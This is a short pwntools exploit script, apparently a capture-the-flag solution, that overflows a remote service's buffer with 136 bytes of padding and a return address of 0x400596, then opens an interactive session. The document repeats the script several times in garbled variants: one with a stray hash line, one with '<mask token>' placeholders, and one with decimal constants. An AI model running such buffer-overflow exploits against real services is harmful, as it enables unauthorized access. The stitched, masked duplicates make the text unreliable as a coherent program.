from pwn import *

p=remote('220.249.52.133',43553)
payload='a'*0x88+p64(0x400596)
p.sendline(payload)
p.interactive()
f310196dabe52e867f98d0ba9162497c2857bbfc
<mask token>

<mask token>
p.sendline(payload)
p.interactive()

<mask token>
p = remote('220.249.52.133', 43553)
payload = 'a' * 136 + p64(4195734)
p.sendline(payload)
p.interactive()

from pwn import *
p = remote('220.249.52.133', 43553)
payload = 'a' * 136 + p64(4195734)
p.sendline(payload)
p.interactive()

from pwn import *

p=remote('220.249.52.133',43553)
payload='a'*0x88+p64(0x400596)
p.sendline(payload)
p.interactive()